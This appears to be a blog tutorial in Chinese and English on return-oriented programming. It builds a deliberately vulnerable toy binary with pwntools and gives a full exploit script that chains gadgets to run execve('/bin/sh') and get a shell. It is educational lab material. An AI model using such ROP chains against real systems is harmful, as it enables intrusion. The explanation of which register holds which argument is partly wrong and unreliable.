ROP
ROP
Returned-oriented Program,defeats the W⊕X protections recently deployed by Microsoft,Intel, and AMD;in this context, it can be seen as a generalization of traditional return-into-libc attacks. But the threat is more general .
gadget
what gadget
Each gadget is an arrangement of words on the stack, both pointers to instruction sequences and immediate data words, that when invoked accomplishes some well-defined task
“W⊕X,” ensures that no memory
location in a process image is marked both writable (“W”) and executable (“X”)
gadget feature
One gadget might:
- perform a load operation
- another an xor
- and another a conditional branch
案例程序
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
elf = ELF.from_assembly(
'''
mov rdi, 0;
mov rsi, rsp;
sub rsi, 8;
mov rdx, 300;
syscall;
ret;
pop rax;
ret;
pop rdi;
ret;
pop rsi;
ret;
pop rdx;
ret;
'''
)
elf.save('vuln')
分析vuln程序
- syscall => read(0,rsp-8,300) 上面vuln程序,开头汇编rsi == rsp - 8是1st参数,rdi == 0 是2nd参数,rdx是第三个参数,之后调用syscall,rdi == 0是属于系统调用编号,查看调用函数是:
┌──(kali㉿kali)-[~/exploits/rop]
└─$ cat /usr/include/asm/unistd_64.h | grep -i read -A2
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
所以,vuln开头相当于read(0,rsp-8,300)。
- rop gadget chain
─$ objdump -d -M intel vuln
vuln: file format elf64-x86-64
Disassembly of section .shellcode:
0000000010000000 <__start>:
10000000: 48 c7 c7 00 00 00 00 mov rdi,0x0
10000007: 48 89 e6 mov rsi,rsp
1000000a: 48 83 ee 08 sub rsi,0x8
1000000e: 48 c7 c2 2c 01 00 00 mov rdx,0x12c
10000015: 0f 05 syscall
10000017: c3 ret
10000018: 58 pop rax
10000019: c3 ret
1000001a: 5f pop rdi
1000001b: c3 ret
1000001c: 5e pop rsi
1000001d: c3 ret
1000001e: 5a pop rdx
1000001f: c3 ret
gadget | asm code |
---|---|
10000018 | pop rax;ret |
1000001a | pop rdi;ret |
1000001c | pop rsi;ret |
1000001e | pop rdx;ret |
漏洞利用
- 目标
利用read读入shellcode,实现execve(’/bin/sh’)获取shell - 实施
- echo -en “/bin/sh\x00” » vuln
- 获取binsh的偏移地址
┌──(kali㉿kali)-[~/exploits/syscalls]
└─$ strings -tx vuln |grep /bin/sh
1238 /bin/sh
- 获取execve的syscall number
┌──(kali㉿kali)-[~/exploits/syscalls]
└─$ cat /usr/include/asm/unistd_64.h | grep -i execve -A2
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
- 构建gadget
stack offset stack content + 00 pop_rax + 08 execve number + 10 pop_rdi + 18 binsh + 20 pop_rsi + 28 0 + 30 pop_rdx + 38 0 + 40 syscall
vuln pwn
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
binsh = elf.address + 0x1238
# objdump -M intel -d vuln
# pop_rax,...
pop_rax = 0x10000018
pop_rdi = 0x1000001a
pop_rsi = 0x1000001c
pop_rdx = 0x1000001e
syscall = 0x10000015
payload = fit('A'*8,pop_rax, 0x3b,pop_rdi,binsh,pop_rsi,0,pop_rdx,0,syscall)
p.sendline(payload)
p.interactive()
引用
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_02_rop/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。